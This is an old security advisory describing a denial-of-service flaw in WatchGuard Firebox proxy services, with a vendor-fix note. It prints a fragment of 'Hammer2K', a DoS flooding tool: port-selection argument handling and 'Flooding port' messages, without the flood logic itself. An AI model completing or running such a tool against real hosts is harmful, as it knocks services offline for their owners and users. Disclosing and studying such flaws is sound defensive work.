WatchGuard Firebox Firewall DoS (resource depletion)
18 Nov. 2000
Summary
WatchGuard Firebox is vulnerable to a possible Denial-of-Service attack, by not freeing resources of its proxy services. This enables an external attacker to force the Firebox to consume available memory until the virtual memory is exhausted.
WatchGuard Firebox does not properly handle resource freeing of some of its proxy services (including FTP). Such resource exhaustion enables attackers to create a Denial-of-Service attack against the machine and may render some functions of the firewall inoperable until it is rebooted. The DoS does not, however, cause a security breach. In addition, packet filtered traffic is unaffected.
Solution:
WatchGuard is currently testing a fix. When the fix is published, current subscribers to WatchGuard's LiveSecurity Service will receive a broadcast containing the fix and will be able to download it from their personalized Web site at https://www.watchguard.com/support.
Exploit Code:
/*
::::: Hammer2K version 0.8 ::::: A DoS Tool
By: Threx <threx@attrition.org>
http://inferno.tusculum.edu/~threx
---------GREETS------------
== People that helped in the development of Hammer2K (testing & ideas)==
vortek, Mister-X, DigiEbola, xsprite, & xum_mux
== Good People ==
Everyone on #svun on undernet, operat0r, codewarrior, Sp0ar, d0g,
soulslack, syphix, ziricon, Temujin, Terminal, Th3 M@niac, WeaponsX
Bernz, Hellrider, Rezin, APHC (http://aphc.cjb.net)
---------COMPILE-----------
Simply enter the following command.
bigblue:~# gcc hammer2k.c -o hammer2k
---------DISCLAIMER--------
I TAKE NO RESPONSIBLITY FOR YOUR ACTIONS WITH HAMMER2K. YOU WILL USE THIS
AT YOUR OWN RISK!
*/
if (strcmp(argv[2], "-telnet")==0)
{
p = 23;
l = 1800;
}
else if (strcmp(argv[2], "-inetd")==0)
{
p = 113;
l = 4000;
}
else if (strcmp(argv[2], "-pop2")==0)
{
p = 109;
l = 3000;
}
else if (strcmp(argv[2], "-imap2")==0)
{
p = 143;
l = 4000;
}
else if (strcmp(argv[2], "-finger")==0)
{
p = 79;
l = 1400;
}
else if (strcmp(argv[2], "-smtp")==0)
{
p = 25;
l = 740;
}
else if (strcmp(argv[2], "-ftp")==0)
{
p = 21;
l = 800;
}
else if (strcmp(argv[2], "-pop3")==0)
{
p = 110;
l = 1350;
}
else if (strcmp(argv[2], "-netstat")==0)
{
p = 15;
l = 1300;
}
else
{
printf("\n ERROR: Hammer2K doesn't support that service. \n");
}
printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [ON] (This will kill a port for one hour)\n");
printf("\n\n Flooding port......\n\n");